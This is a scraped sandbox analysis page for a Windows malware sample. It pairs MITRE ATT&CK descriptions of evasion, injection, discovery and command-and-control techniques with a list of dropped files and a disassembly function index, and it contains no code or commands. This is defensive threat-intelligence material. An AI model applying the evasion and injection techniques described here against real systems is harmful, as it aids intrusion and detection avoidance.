Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll

C:\Users\user\polaritets\Klipbok.Vid

C:\Users\user\polaritets\Muskel.Nit

C:\Users\user\polaritets\Observationsposters.tor

C:\Users\user\polaritets\drupes.ret

C:\Users\user\polaritets\quodlibetic.fes

C:\Users\user\polaritets\roere.hid

C:\Users\user\polaritets\socialmedicin.sej

C:\Users\user\polaritets\toader.txt

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Function 004034FC Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 464
stringfilecomCOMMON

Function 004056E5 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405C2D Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00401774 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403FA1 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403BF3 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00403082 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 0040655E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Function 004055A6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 004032B9 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Function 004068A5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Function 70591817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00406040 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON